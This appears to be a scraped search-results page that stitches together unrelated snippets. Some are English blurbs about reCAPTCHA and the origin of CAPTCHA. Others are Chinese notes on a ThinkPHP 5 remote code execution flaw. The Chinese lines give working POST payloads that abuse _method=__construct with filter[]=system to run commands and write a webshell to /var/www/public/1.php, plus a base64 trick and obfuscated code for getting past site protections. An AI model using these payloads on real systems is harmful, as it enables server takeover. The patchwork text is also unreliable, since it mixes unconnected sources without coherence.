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文章浏览阅读1k次。本文介绍了一种利用远程代码执行 (RCE)漏洞的方法，通过构造特定的请求参数来触发漏洞，并演示了如何利用此漏洞写入webshell。需要注意的是，目标站点可能存在防护措施，因此建议使用经过变形处理的代码。
Learn how to display and customize the reCAPTCHA v2 widget on your web page.
CAPTCHA demos showcase the functionality and implementation of CAPTCHA systems in real-world scenarios. These demos provide insights into how CAPTCHA challenges are presented to users and how their responses are validated to grant access to online services. Test CAPTCHA pages offer significant benefits by providing insights into how CAPTCHA works and demonstrating a clear example of script ...
Project Shield's code determines if the browser request is coming from a legitimate human or an attacking computer. If the browser passes the reCAPTCHA test successfully, the reader will be redirected to your site, with no reader action needed. If the browser looks suspicious, the reader will need to respond to a captcha challenge (Figure 2).
reCAPTCHA is a free service that protects your site from spam and abuse. It uses advanced risk analysis techniques to tell humans and bots apart.Protect your site from spam and abuse.
The term CAPTCHA (for Completely Automated Public Turing Test To Tell Computers and Humans Apart) was coined in 2000 by Luis von Ahn, Manuel Blum, Nicholas Hopper and John Langford of Carnegie Mellon University. Get a Free CAPTCHA For Your Site A free, secure and accessible CAPTCHA implementation is available from the reCAPTCHA project.
_method=__construct&filter []=system&method=get&server [REQUEST_METHOD]=echo >>/var/www/public/1.php 发现被拦截无法写入，通过 base64 编码绕过
将post值改为：_method=__construct&filter []=phpinfo&method=get&server [REQUEST_METHOD]=1。 第一步中可以执行system命令，尝试echo写入是否可以执行。
先看看是如何解析s=captcha的 还是在App.php的run方法中，routeCheck这里加断点，发现已经将captcha解析了（注意到，这次的type是method，上一篇 invokefunction 的复现中，type是module）
复现过程参考： ThinkPHP 5.0.x-5.0.23、5.1.x、5.2.x 全版本远程代码执行漏洞分析 ) ThinkPHP5 核心类 Request 远程代码漏洞分析 (seebug.org)